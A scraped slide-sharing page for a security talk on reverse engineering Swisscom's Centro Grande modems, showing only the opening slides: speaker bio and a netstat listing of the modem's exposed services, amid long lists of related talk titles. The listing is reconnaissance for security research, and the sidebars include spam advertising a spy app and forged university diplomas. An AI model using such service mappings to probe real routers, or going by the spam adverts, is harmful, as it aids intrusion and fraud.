High Availability PostgreSQL with Zalando PatroniHigh Availability PostgreSQL with Zalando Patroni
High Availability PostgreSQL with Zalando Patroni
 
Qemu device prototyping
Qemu device prototypingQemu device prototyping
Qemu device prototyping
 
eBPF/XDP
eBPF/XDP eBPF/XDP
eBPF/XDP
 
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytesWindows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
 
Xen Project Contributor Training Part2 : Processes and Conventions v1.1
Xen Project Contributor Training Part2 : Processes and Conventions v1.1Xen Project Contributor Training Part2 : Processes and Conventions v1.1
Xen Project Contributor Training Part2 : Processes and Conventions v1.1
 
BPF Internals (eBPF)
BPF Internals (eBPF)BPF Internals (eBPF)
BPF Internals (eBPF)
 
Load Balancing and Scaling with NGINX
Load Balancing and Scaling with NGINXLoad Balancing and Scaling with NGINX
Load Balancing and Scaling with NGINX
 
NGINX: Basics and Best Practices
NGINX: Basics and Best PracticesNGINX: Basics and Best Practices
NGINX: Basics and Best Practices
 
import rdma: zero-copy networking with RDMA and Python
import rdma: zero-copy networking with RDMA and Pythonimport rdma: zero-copy networking with RDMA and Python
import rdma: zero-copy networking with RDMA and Python
 
Xen in Safety-Critical Systems - Critical Summit 2022
Xen in Safety-Critical Systems - Critical Summit 2022Xen in Safety-Critical Systems - Critical Summit 2022
Xen in Safety-Critical Systems - Critical Summit 2022
 
How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015
How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015
How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015
 
PostgreSQL - Haute disponibilité avec Patroni
PostgreSQL - Haute disponibilité avec PatroniPostgreSQL - Haute disponibilité avec Patroni
PostgreSQL - Haute disponibilité avec Patroni
 

Viewers also liked

Introduction to HTML5+CSS
Introduction to HTML5+CSSIntroduction to HTML5+CSS
Introduction to HTML5+CSS
Ramses Cabello
 
The Mall of the World
The Mall of the WorldThe Mall of the World
The Mall of the World
Marina Kolesnichenko
 
BAFC233
BAFC233BAFC233
BAFC233
Janet Wacera
 
Three tier application
Three tier applicationThree tier application
Three tier application
Venkat Pinagadi
 
3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...
3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...
3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...
SlideTeam.net
 
Charcoal drawing portfolio 2013
Charcoal drawing portfolio 2013Charcoal drawing portfolio 2013
Charcoal drawing portfolio 2013
Sharlena Wood
 
October Newsletter
October NewsletterOctober Newsletter
October Newsletter
Erica Sinicropi
 
Adobe Q1 2016 Quarterly Earnings
Adobe Q1 2016 Quarterly EarningsAdobe Q1 2016 Quarterly Earnings
Adobe Q1 2016 Quarterly Earnings
Adobe
 
Aimopp For Presentation
Aimopp For PresentationAimopp For Presentation
Aimopp For Presentation
Jinky Quizon
 
Contract - what roles we do
Contract - what roles we doContract - what roles we do
Contract - what roles we do
Niomi Cowling
 
ציפיות הלקוח, תפיסת השירות של המחר
ציפיות הלקוח, תפיסת השירות של המחרציפיות הלקוח, תפיסת השירות של המחר
ציפיות הלקוח, תפיסת השירות של המחר
hachamd
 
Entrepreneurial Journeys - Part 1
Entrepreneurial Journeys - Part 1Entrepreneurial Journeys - Part 1
Entrepreneurial Journeys - Part 1
Rajesh Lalwani
 
Web Mining e analisi di reti sociali
Web Mining e analisi di reti socialiWeb Mining e analisi di reti sociali
Web Mining e analisi di reti sociali
Mariagiovanna Scarale
 
Attractions in the majestic city of Kandy
Attractions in the majestic city of KandyAttractions in the majestic city of Kandy
Attractions in the majestic city of Kandy
Pushpitha Wijesinghe
 
Guia de estudio mapa
Guia de estudio mapaGuia de estudio mapa
Guia de estudio mapa
Marjorie Reveco Saravia
 
домашние любимцы
домашние любимцыдомашние любимцы
домашние любимцы
Orlovatania
 
SharePoint Saturday Philly - To the Cloud
SharePoint Saturday Philly - To the CloudSharePoint Saturday Philly - To the Cloud
SharePoint Saturday Philly - To the Cloud
Dan Usher
 
24 04 2015 Икт в метод работе
24 04 2015 Икт в метод работе  24 04 2015 Икт в метод работе
24 04 2015 Икт в метод работе
отдел образования
 

Viewers also liked (20)

Introduction to HTML5+CSS
Introduction to HTML5+CSSIntroduction to HTML5+CSS
Introduction to HTML5+CSS
 
The Mall of the World
The Mall of the WorldThe Mall of the World
The Mall of the World
 
BAFC233
BAFC233BAFC233
BAFC233
 
Three tier application
Three tier applicationThree tier application
Three tier application
 
весь-журнал
весь-журналвесь-журнал
весь-журнал
 
3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...
3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...
3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...
 
Charcoal drawing portfolio 2013
Charcoal drawing portfolio 2013Charcoal drawing portfolio 2013
Charcoal drawing portfolio 2013
 
October Newsletter
October NewsletterOctober Newsletter
October Newsletter
 
Adobe Q1 2016 Quarterly Earnings
Adobe Q1 2016 Quarterly EarningsAdobe Q1 2016 Quarterly Earnings
Adobe Q1 2016 Quarterly Earnings
 
Aimopp For Presentation
Aimopp For PresentationAimopp For Presentation
Aimopp For Presentation
 
Contract - what roles we do
Contract - what roles we doContract - what roles we do
Contract - what roles we do
 
ציפיות הלקוח, תפיסת השירות של המחר
ציפיות הלקוח, תפיסת השירות של המחרציפיות הלקוח, תפיסת השירות של המחר
ציפיות הלקוח, תפיסת השירות של המחר
 
Entrepreneurial Journeys - Part 1
Entrepreneurial Journeys - Part 1Entrepreneurial Journeys - Part 1
Entrepreneurial Journeys - Part 1
 
Web Mining e analisi di reti sociali
Web Mining e analisi di reti socialiWeb Mining e analisi di reti sociali
Web Mining e analisi di reti sociali
 
Attractions in the majestic city of Kandy
Attractions in the majestic city of KandyAttractions in the majestic city of Kandy
Attractions in the majestic city of Kandy
 
Guia de estudio mapa
Guia de estudio mapaGuia de estudio mapa
Guia de estudio mapa
 
домашние любимцы
домашние любимцыдомашние любимцы
домашние любимцы
 
SharePoint Saturday Philly - To the Cloud
SharePoint Saturday Philly - To the CloudSharePoint Saturday Philly - To the Cloud
SharePoint Saturday Philly - To the Cloud
 
Dropbox
Dropbox Dropbox
Dropbox
 
24 04 2015 Икт в метод работе
24 04 2015 Икт в метод работе  24 04 2015 Икт в метод работе
24 04 2015 Икт в метод работе
 

Similar to Reverse engineering Swisscom's Centro Grande Modem

Debugging linux issues with eBPF
Debugging linux issues with eBPFDebugging linux issues with eBPF
Debugging linux issues with eBPF
Ivan Babrou
 
Linux 系統管理與安全:進階系統管理系統防駭與資訊安全
Linux 系統管理與安全:進階系統管理系統防駭與資訊安全Linux 系統管理與安全:進階系統管理系統防駭與資訊安全
Linux 系統管理與安全:進階系統管理系統防駭與資訊安全
維泰 蔡
 
Crash_Report_Mechanism_In_Tizen
Crash_Report_Mechanism_In_TizenCrash_Report_Mechanism_In_Tizen
Crash_Report_Mechanism_In_Tizen
Lex Yu
 
PFIセミナー資料 H27.10.22
PFIセミナー資料 H27.10.22PFIセミナー資料 H27.10.22
PFIセミナー資料 H27.10.22
Yuya Takei
 
Debugging Ruby
Debugging RubyDebugging Ruby
Debugging Ruby
Aman Gupta
 
Debugging Ruby Systems
Debugging Ruby SystemsDebugging Ruby Systems
Debugging Ruby Systems
Engine Yard
 
Docker and friends at Linux Days 2014 in Prague
Docker and friends at Linux Days 2014 in PragueDocker and friends at Linux Days 2014 in Prague
Docker and friends at Linux Days 2014 in Prague
tomasbart
 
hacking-embedded-devices.pptx
hacking-embedded-devices.pptxhacking-embedded-devices.pptx
hacking-embedded-devices.pptx
ssuserfcf43f
 
05 module managing your network enviornment
05  module managing your network enviornment05  module managing your network enviornment
05 module managing your network enviornment
Asif
 
C&C Botnet Factory
C&C Botnet FactoryC&C Botnet Factory
C&C Botnet Factory
Nullbyte Security Conference
 
Osol Pgsql
Osol PgsqlOsol Pgsql
Osol Pgsql
Emanuel Calvo
 
OT Security - h-c0n 2020
OT Security - h-c0n 2020OT Security - h-c0n 2020
OT Security - h-c0n 2020
Jose Palanco
 
Labs_BT_20221017.pptx
Labs_BT_20221017.pptxLabs_BT_20221017.pptx
Labs_BT_20221017.pptx
ssuserb4d806
 
SCADA Strangelove: Hacking in the Name
SCADA Strangelove: Hacking in the NameSCADA Strangelove: Hacking in the Name
SCADA Strangelove: Hacking in the Name
Positive Hack Days
 
SCADA Strangelove: взлом во имя
SCADA Strangelove: взлом во имяSCADA Strangelove: взлом во имя
SCADA Strangelove: взлом во имя
Ekaterina Melnik
 
HKG18-TR14 - Postmortem Debugging with Coresight
HKG18-TR14 - Postmortem Debugging with CoresightHKG18-TR14 - Postmortem Debugging with Coresight
HKG18-TR14 - Postmortem Debugging with Coresight
Linaro
 
A little systemtap
A little systemtapA little systemtap
A little systemtap
yang bingwu
 
A little systemtap
A little systemtapA little systemtap
A little systemtap
yang bingwu
 
USENIX ATC 2017 Performance Superpowers with Enhanced BPF
USENIX ATC 2017 Performance Superpowers with Enhanced BPFUSENIX ATC 2017 Performance Superpowers with Enhanced BPF
USENIX ATC 2017 Performance Superpowers with Enhanced BPF
Brendan Gregg
 
Time Series Database and Tick Stack
Time Series Database and Tick StackTime Series Database and Tick Stack
Time Series Database and Tick Stack
Gianluca Arbezzano
 

Similar to Reverse engineering Swisscom's Centro Grande Modem (20)

Debugging linux issues with eBPF
Debugging linux issues with eBPFDebugging linux issues with eBPF
Debugging linux issues with eBPF
 
Linux 系統管理與安全:進階系統管理系統防駭與資訊安全
Linux 系統管理與安全:進階系統管理系統防駭與資訊安全Linux 系統管理與安全:進階系統管理系統防駭與資訊安全
Linux 系統管理與安全:進階系統管理系統防駭與資訊安全
 
Crash_Report_Mechanism_In_Tizen
Crash_Report_Mechanism_In_TizenCrash_Report_Mechanism_In_Tizen
Crash_Report_Mechanism_In_Tizen
 
PFIセミナー資料 H27.10.22
PFIセミナー資料 H27.10.22PFIセミナー資料 H27.10.22
PFIセミナー資料 H27.10.22
 
Debugging Ruby
Debugging RubyDebugging Ruby
Debugging Ruby
 
Debugging Ruby Systems
Debugging Ruby SystemsDebugging Ruby Systems
Debugging Ruby Systems
 
Docker and friends at Linux Days 2014 in Prague
Docker and friends at Linux Days 2014 in PragueDocker and friends at Linux Days 2014 in Prague
Docker and friends at Linux Days 2014 in Prague
 
hacking-embedded-devices.pptx
hacking-embedded-devices.pptxhacking-embedded-devices.pptx
hacking-embedded-devices.pptx
 
05 module managing your network enviornment
05  module managing your network enviornment05  module managing your network enviornment
05 module managing your network enviornment
 
C&C Botnet Factory
C&C Botnet FactoryC&C Botnet Factory
C&C Botnet Factory
 
Osol Pgsql
Osol PgsqlOsol Pgsql
Osol Pgsql
 
OT Security - h-c0n 2020
OT Security - h-c0n 2020OT Security - h-c0n 2020
OT Security - h-c0n 2020
 
Labs_BT_20221017.pptx
Labs_BT_20221017.pptxLabs_BT_20221017.pptx
Labs_BT_20221017.pptx
 
SCADA Strangelove: Hacking in the Name
SCADA Strangelove: Hacking in the NameSCADA Strangelove: Hacking in the Name
SCADA Strangelove: Hacking in the Name
 
SCADA Strangelove: взлом во имя
SCADA Strangelove: взлом во имяSCADA Strangelove: взлом во имя
SCADA Strangelove: взлом во имя
 
HKG18-TR14 - Postmortem Debugging with Coresight
HKG18-TR14 - Postmortem Debugging with CoresightHKG18-TR14 - Postmortem Debugging with Coresight
HKG18-TR14 - Postmortem Debugging with Coresight
 
A little systemtap
A little systemtapA little systemtap
A little systemtap
 
A little systemtap
A little systemtapA little systemtap
A little systemtap
 
USENIX ATC 2017 Performance Superpowers with Enhanced BPF
USENIX ATC 2017 Performance Superpowers with Enhanced BPFUSENIX ATC 2017 Performance Superpowers with Enhanced BPF
USENIX ATC 2017 Performance Superpowers with Enhanced BPF
 
Time Series Database and Tick Stack
Time Series Database and Tick StackTime Series Database and Tick Stack
Time Series Database and Tick Stack
 

More from Cyber Security Alliance

Bug Bounty @ Swisscom
Bug Bounty @ SwisscomBug Bounty @ Swisscom
Bug Bounty @ Swisscom
Cyber Security Alliance
 
Robots are among us, but who takes responsibility?
Robots are among us, but who takes responsibility?Robots are among us, but who takes responsibility?
Robots are among us, but who takes responsibility?
Cyber Security Alliance
 
iOS malware: what's the risk and how to reduce it
iOS malware: what's the risk and how to reduce itiOS malware: what's the risk and how to reduce it
iOS malware: what's the risk and how to reduce it
Cyber Security Alliance
 
Why huntung IoC fails at protecting against targeted attacks
Why huntung IoC fails at protecting against targeted attacksWhy huntung IoC fails at protecting against targeted attacks
Why huntung IoC fails at protecting against targeted attacks
Cyber Security Alliance
 
Corporations - the new victims of targeted ransomware
Corporations - the new victims of targeted ransomwareCorporations - the new victims of targeted ransomware
Corporations - the new victims of targeted ransomware
Cyber Security Alliance
 
Blockchain for Beginners
Blockchain for Beginners Blockchain for Beginners
Blockchain for Beginners
Cyber Security Alliance
 
Le pentest pour les nuls #cybsec16
Le pentest pour les nuls #cybsec16Le pentest pour les nuls #cybsec16
Le pentest pour les nuls #cybsec16
Cyber Security Alliance
 
Introducing Man in the Contacts attack to trick encrypted messaging apps
Introducing Man in the Contacts attack to trick encrypted messaging appsIntroducing Man in the Contacts attack to trick encrypted messaging apps
Introducing Man in the Contacts attack to trick encrypted messaging apps
Cyber Security Alliance
 
Understanding the fundamentals of attacks
Understanding the fundamentals of attacksUnderstanding the fundamentals of attacks
Understanding the fundamentals of attacks
Cyber Security Alliance
 
Rump : iOS patch diffing
Rump : iOS patch diffingRump : iOS patch diffing
Rump : iOS patch diffing
Cyber Security Alliance
 
An easy way into your sap systems v3.0
An easy way into your sap systems v3.0An easy way into your sap systems v3.0
An easy way into your sap systems v3.0
Cyber Security Alliance
 
Easy public-private-keys-strong-authentication-using-u2 f
Easy public-private-keys-strong-authentication-using-u2 fEasy public-private-keys-strong-authentication-using-u2 f
Easy public-private-keys-strong-authentication-using-u2 f
Cyber Security Alliance
 
Create a-strong-two-factors-authentication-device-for-less-than-chf-100
Create a-strong-two-factors-authentication-device-for-less-than-chf-100Create a-strong-two-factors-authentication-device-for-less-than-chf-100
Create a-strong-two-factors-authentication-device-for-less-than-chf-100
Cyber Security Alliance
 
Offline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setupOffline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setup
Cyber Security Alliance
 
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...
Cyber Security Alliance
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Cyber Security Alliance
 
Killing any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented featureKilling any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented feature
Cyber Security Alliance
 
Operation emmental appsec
Operation emmental appsecOperation emmental appsec
Operation emmental appsec
Cyber Security Alliance
 
Colt sp sec2014_appsec-nf-vfinal
Colt sp sec2014_appsec-nf-vfinalColt sp sec2014_appsec-nf-vfinal
Colt sp sec2014_appsec-nf-vfinal
Cyber Security Alliance
 

More from Cyber Security Alliance (20)

Bug Bounty @ Swisscom
Bug Bounty @ SwisscomBug Bounty @ Swisscom
Bug Bounty @ Swisscom
 
Robots are among us, but who takes responsibility?
Robots are among us, but who takes responsibility?Robots are among us, but who takes responsibility?
Robots are among us, but who takes responsibility?
 
iOS malware: what's the risk and how to reduce it
iOS malware: what's the risk and how to reduce itiOS malware: what's the risk and how to reduce it
iOS malware: what's the risk and how to reduce it
 
Why huntung IoC fails at protecting against targeted attacks
Why huntung IoC fails at protecting against targeted attacksWhy huntung IoC fails at protecting against targeted attacks
Why huntung IoC fails at protecting against targeted attacks
 
Corporations - the new victims of targeted ransomware
Corporations - the new victims of targeted ransomwareCorporations - the new victims of targeted ransomware
Corporations - the new victims of targeted ransomware
 
Blockchain for Beginners
Blockchain for Beginners Blockchain for Beginners
Blockchain for Beginners
 
Le pentest pour les nuls #cybsec16
Le pentest pour les nuls #cybsec16Le pentest pour les nuls #cybsec16
Le pentest pour les nuls #cybsec16
 
Introducing Man in the Contacts attack to trick encrypted messaging apps
Introducing Man in the Contacts attack to trick encrypted messaging appsIntroducing Man in the Contacts attack to trick encrypted messaging apps
Introducing Man in the Contacts attack to trick encrypted messaging apps
 
Understanding the fundamentals of attacks
Understanding the fundamentals of attacksUnderstanding the fundamentals of attacks
Understanding the fundamentals of attacks
 
Rump : iOS patch diffing
Rump : iOS patch diffingRump : iOS patch diffing
Rump : iOS patch diffing
 
An easy way into your sap systems v3.0
An easy way into your sap systems v3.0An easy way into your sap systems v3.0
An easy way into your sap systems v3.0
 
Easy public-private-keys-strong-authentication-using-u2 f
Easy public-private-keys-strong-authentication-using-u2 fEasy public-private-keys-strong-authentication-using-u2 f
Easy public-private-keys-strong-authentication-using-u2 f
 
Create a-strong-two-factors-authentication-device-for-less-than-chf-100
Create a-strong-two-factors-authentication-device-for-less-than-chf-100Create a-strong-two-factors-authentication-device-for-less-than-chf-100
Create a-strong-two-factors-authentication-device-for-less-than-chf-100
 
Offline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setupOffline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setup
 
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
 
Killing any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented featureKilling any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented feature
 
Rump attaque usb_caralinda_fabrice
Rump attaque usb_caralinda_fabriceRump attaque usb_caralinda_fabrice
Rump attaque usb_caralinda_fabrice
 
Operation emmental appsec
Operation emmental appsecOperation emmental appsec
Operation emmental appsec
 
Colt sp sec2014_appsec-nf-vfinal
Colt sp sec2014_appsec-nf-vfinalColt sp sec2014_appsec-nf-vfinal
Colt sp sec2014_appsec-nf-vfinal
 

Recently uploaded

Migrate your Infrastructure to the AWS Cloud
Migrate your Infrastructure to the AWS CloudMigrate your Infrastructure to the AWS Cloud
Migrate your Infrastructure to the AWS Cloud
Ortus Solutions, Corp
 
Software development... for all? (keynote at ICSOFT'2024)
Software development... for all? (keynote at ICSOFT'2024)Software development... for all? (keynote at ICSOFT'2024)
Software development... for all? (keynote at ICSOFT'2024)
miso_uam
 
Overview of ERP - Mechlin Technologies.pptx
Overview of ERP - Mechlin Technologies.pptxOverview of ERP - Mechlin Technologies.pptx
Overview of ERP - Mechlin Technologies.pptx
Mitchell Marsh
 
MVP Mobile Application - Codearrest.pptx
MVP Mobile Application - Codearrest.pptxMVP Mobile Application - Codearrest.pptx
MVP Mobile Application - Codearrest.pptx
Mitchell Marsh
 
Break data silos with real-time connectivity using Confluent Cloud Connectors
Break data silos with real-time connectivity using Confluent Cloud ConnectorsBreak data silos with real-time connectivity using Confluent Cloud Connectors
Break data silos with real-time connectivity using Confluent Cloud Connectors
confluent
 
Splunk_Remote_Work_Insights_Overview.pptx
Splunk_Remote_Work_Insights_Overview.pptxSplunk_Remote_Work_Insights_Overview.pptx
Splunk_Remote_Work_Insights_Overview.pptx
sudsdeep
 
BITCOIN HEIST RANSOMEWARE ATTACK PREDICTION
BITCOIN HEIST RANSOMEWARE ATTACK PREDICTIONBITCOIN HEIST RANSOMEWARE ATTACK PREDICTION
BITCOIN HEIST RANSOMEWARE ATTACK PREDICTION
ssuser2b426d1
 
A Comparative Analysis of Functional and Non-Functional Testing.pdf
A Comparative Analysis of Functional and Non-Functional Testing.pdfA Comparative Analysis of Functional and Non-Functional Testing.pdf
A Comparative Analysis of Functional and Non-Functional Testing.pdf
kalichargn70th171
 
Attendance Tracking From Paper To Digital
Attendance Tracking From Paper To DigitalAttendance Tracking From Paper To Digital
Attendance Tracking From Paper To Digital
Task Tracker
 
What is OCR Technology and How to Extract Text from Any Image for Free
What is OCR Technology and How to Extract Text from Any Image for FreeWhat is OCR Technology and How to Extract Text from Any Image for Free
What is OCR Technology and How to Extract Text from Any Image for Free
TwisterTools
 
ENISA Threat Landscape 2023 documentation
ENISA Threat Landscape 2023 documentationENISA Threat Landscape 2023 documentation
ENISA Threat Landscape 2023 documentation
sofiafernandezon
 
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdfResponsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
Trackobit
 
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
onemonitarsoftware
 
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
Asher Sterkin
 
dachnug51 - All you ever wanted to know about domino licensing.pdf
dachnug51 - All you ever wanted to know about domino licensing.pdfdachnug51 - All you ever wanted to know about domino licensing.pdf
dachnug51 - All you ever wanted to know about domino licensing.pdf
DNUG e.V.
 
Cultural Shifts: Embracing DevOps for Organizational Transformation
Cultural Shifts: Embracing DevOps for Organizational TransformationCultural Shifts: Embracing DevOps for Organizational Transformation
Cultural Shifts: Embracing DevOps for Organizational Transformation
Mindfire Solution
 
How we built TryBoxLang in under 48 hours
How we built TryBoxLang in under 48 hoursHow we built TryBoxLang in under 48 hours
How we built TryBoxLang in under 48 hours
Ortus Solutions, Corp
 
Intro to Amazon Web Services (AWS) and Gen AI
Intro to Amazon Web Services (AWS) and Gen AIIntro to Amazon Web Services (AWS) and Gen AI
Intro to Amazon Web Services (AWS) and Gen AI
Ortus Solutions, Corp
 
Independence Day Hasn’t Always Been a U.S. Holiday.pdf
Independence Day Hasn’t Always Been a U.S. Holiday.pdfIndependence Day Hasn’t Always Been a U.S. Holiday.pdf
Independence Day Hasn’t Always Been a U.S. Holiday.pdf
Livetecs LLC
 
一比一原版英国牛津大学毕业证(oxon毕业证书)如何办理
一比一原版英国牛津大学毕业证(oxon毕业证书)如何办理一比一原版英国牛津大学毕业证(oxon毕业证书)如何办理
一比一原版英国牛津大学毕业证(oxon毕业证书)如何办理
avufu
 

Recently uploaded (20)

Migrate your Infrastructure to the AWS Cloud
Migrate your Infrastructure to the AWS CloudMigrate your Infrastructure to the AWS Cloud
Migrate your Infrastructure to the AWS Cloud
 
Software development... for all? (keynote at ICSOFT'2024)
Software development... for all? (keynote at ICSOFT'2024)Software development... for all? (keynote at ICSOFT'2024)
Software development... for all? (keynote at ICSOFT'2024)
 
Overview of ERP - Mechlin Technologies.pptx
Overview of ERP - Mechlin Technologies.pptxOverview of ERP - Mechlin Technologies.pptx
Overview of ERP - Mechlin Technologies.pptx
 
MVP Mobile Application - Codearrest.pptx
MVP Mobile Application - Codearrest.pptxMVP Mobile Application - Codearrest.pptx
MVP Mobile Application - Codearrest.pptx
 
Break data silos with real-time connectivity using Confluent Cloud Connectors
Break data silos with real-time connectivity using Confluent Cloud ConnectorsBreak data silos with real-time connectivity using Confluent Cloud Connectors
Break data silos with real-time connectivity using Confluent Cloud Connectors
 
Splunk_Remote_Work_Insights_Overview.pptx
Splunk_Remote_Work_Insights_Overview.pptxSplunk_Remote_Work_Insights_Overview.pptx
Splunk_Remote_Work_Insights_Overview.pptx
 
BITCOIN HEIST RANSOMEWARE ATTACK PREDICTION
BITCOIN HEIST RANSOMEWARE ATTACK PREDICTIONBITCOIN HEIST RANSOMEWARE ATTACK PREDICTION
BITCOIN HEIST RANSOMEWARE ATTACK PREDICTION
 
A Comparative Analysis of Functional and Non-Functional Testing.pdf
A Comparative Analysis of Functional and Non-Functional Testing.pdfA Comparative Analysis of Functional and Non-Functional Testing.pdf
A Comparative Analysis of Functional and Non-Functional Testing.pdf
 
Attendance Tracking From Paper To Digital
Attendance Tracking From Paper To DigitalAttendance Tracking From Paper To Digital
Attendance Tracking From Paper To Digital
 
What is OCR Technology and How to Extract Text from Any Image for Free
What is OCR Technology and How to Extract Text from Any Image for FreeWhat is OCR Technology and How to Extract Text from Any Image for Free
What is OCR Technology and How to Extract Text from Any Image for Free
 
ENISA Threat Landscape 2023 documentation
ENISA Threat Landscape 2023 documentationENISA Threat Landscape 2023 documentation
ENISA Threat Landscape 2023 documentation
 
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdfResponsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
 
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
 
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
 
dachnug51 - All you ever wanted to know about domino licensing.pdf
dachnug51 - All you ever wanted to know about domino licensing.pdfdachnug51 - All you ever wanted to know about domino licensing.pdf
dachnug51 - All you ever wanted to know about domino licensing.pdf
 
Cultural Shifts: Embracing DevOps for Organizational Transformation
Cultural Shifts: Embracing DevOps for Organizational TransformationCultural Shifts: Embracing DevOps for Organizational Transformation
Cultural Shifts: Embracing DevOps for Organizational Transformation
 
How we built TryBoxLang in under 48 hours
How we built TryBoxLang in under 48 hoursHow we built TryBoxLang in under 48 hours
How we built TryBoxLang in under 48 hours
 
Intro to Amazon Web Services (AWS) and Gen AI
Intro to Amazon Web Services (AWS) and Gen AIIntro to Amazon Web Services (AWS) and Gen AI
Intro to Amazon Web Services (AWS) and Gen AI
 
Independence Day Hasn’t Always Been a U.S. Holiday.pdf
Independence Day Hasn’t Always Been a U.S. Holiday.pdfIndependence Day Hasn’t Always Been a U.S. Holiday.pdf
Independence Day Hasn’t Always Been a U.S. Holiday.pdf
 
一比一原版英国牛津大学毕业证(oxon毕业证书)如何办理
一比一原版英国牛津大学毕业证(oxon毕业证书)如何办理一比一原版英国牛津大学毕业证(oxon毕业证书)如何办理
一比一原版英国牛津大学毕业证(oxon毕业证书)如何办理
 

Reverse engineering Swisscom's Centro Grande Modem

  • 1. Reverse engineering Swisscom’sReverse engineering Swisscom’s Centro Grande modemsCentro Grande modems Alain Mowat & Thomas ImbertAlain Mowat & Thomas Imbert
  • 2. 2whoami › Alain Mowat (@plopz0r) › Head of Audit division at SCRT › Pentest › Code review › Trainings › Mostly a Web App guy › Member of 0daysober CTF team › Watch other people exploiting cool vulns
  • 3. 3Background › Why look into the Swisscom modems? › Why this talk? › I don’t actually own a Swisscom modem › Made it a bit harder to study...
  • 4. 4Attack Surface › ADB# show netstat tcp 0 0 192.168.1.1:50602 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:9034 0.0.0.0:* LISTEN tcp 11 0 192.168.1.1:8080 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN tcp 0 0 192.168.1.1:22 0.0.0.0:* LISTEN tcp 0 0 192.168.1.1:23 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:7547 0.0.0.0:* LISTEN udp 0 0 0.0.0.0:9090 0.0.0.0:* udp 0 0 127.0.0.1:15000 0.0.0.0:* udp 0 0 0.0.0.0:53 0.0.0.0:* udp 0 0 0.0.0.0:323 0.0.0.0:* udp 0 0 0.0.0.0:67 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp 0 0 178.199.180.148:5060 0.0.0.0:* udp 0 0 192.168.1.1:5351 0.0.0.0:* udp 0 0 0.0.0.0:1900 0.0.0.0:* udp 0 0 192.168.1.1:47863 0.0.0.0:* udp 0 0 0.0.0.0:123 0.0.0.0:* udp 0 0 ff02::1:2:547 :::* udp 0 0 :::53 :::* udp 0 0 :::323 :::* udp 0 0 :::123 :::* raw 0 0 0.0.0.0:2 0.0.0.0:* 2 raw 0 0 0.0.0.0:6 0.0.0.0:* 6 raw 0 0 :::58 :::*
